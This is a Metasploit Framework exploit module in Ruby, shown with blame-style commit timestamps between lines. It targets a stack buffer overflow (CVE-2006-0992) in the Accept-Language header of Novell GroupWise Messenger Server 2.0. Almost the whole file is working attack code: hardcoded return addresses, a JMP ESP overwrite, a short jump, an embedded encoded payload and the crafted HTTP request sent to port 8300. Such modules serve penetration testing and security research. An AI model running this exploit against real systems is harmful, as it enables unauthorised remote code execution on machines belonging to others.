2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-04-14 20:22:15 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-04-14 20:22:15 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-04-14 20:22:15 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-04-14 20:22:15 +00:00
|
|
|
'Name' => 'Novell Messenger Server 2.0 Accept-Language Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell GroupWise
|
2006-04-14 20:22:15 +00:00
|
|
|
Messenger Server v2.0. This flaw is triggered by any HTTP
|
|
|
|
request with an Accept-Language header greater than 16 bytes.
|
|
|
|
To overwrite the return address on the stack, we must first
|
|
|
|
pass a memcpy() operation that uses pointers we supply. Due to the
|
|
|
|
large list of restricted characters and the limitations of the current
|
2010-04-30 08:40:19 +00:00
|
|
|
encoder modules, very few payloads are usable.
|
2006-04-14 20:22:15 +00:00
|
|
|
},
|
2007-05-21 20:44:34 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
2006-04-14 20:22:15 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
['CVE', '2006-0992'],
|
2010-09-20 08:06:27 +00:00
|
|
|
['OSVDB', '24617'],
|
|
|
|
['BID', '17503'],
|
2006-04-14 20:22:15 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
'Space' => 500,
|
2006-04-16 06:29:44 +00:00
|
|
|
'BadChars' => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
|
2006-04-14 20:22:15 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-04-14 20:22:15 +00:00
|
|
|
[
|
|
|
|
['Groupwise Messenger DClient.dll v10510.37', { 'Rets' => [0x6103c3d3, 0x61041010] }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 13 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options( [ Opt::RPORT(8300) ], self.class )
|
2006-04-14 20:22:15 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
lang = rand_text_alphanumeric(1900)
|
2006-04-16 06:29:44 +00:00
|
|
|
lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
|
|
|
|
lang[272, 4] = [target['Rets'][1]].pack('V') # DST
|
|
|
|
lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
|
|
|
|
lang[268, 2] = "\xeb\x06"
|
|
|
|
lang[276, payload.encoded.length] = payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-04-14 20:22:15 +00:00
|
|
|
res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-04-14 20:22:15 +00:00
|
|
|
print_status("Trying target address 0x%.8x..." % target['Rets'][0])
|
|
|
|
sock.put(res)
|
|
|
|
sock.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-04-14 20:22:15 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|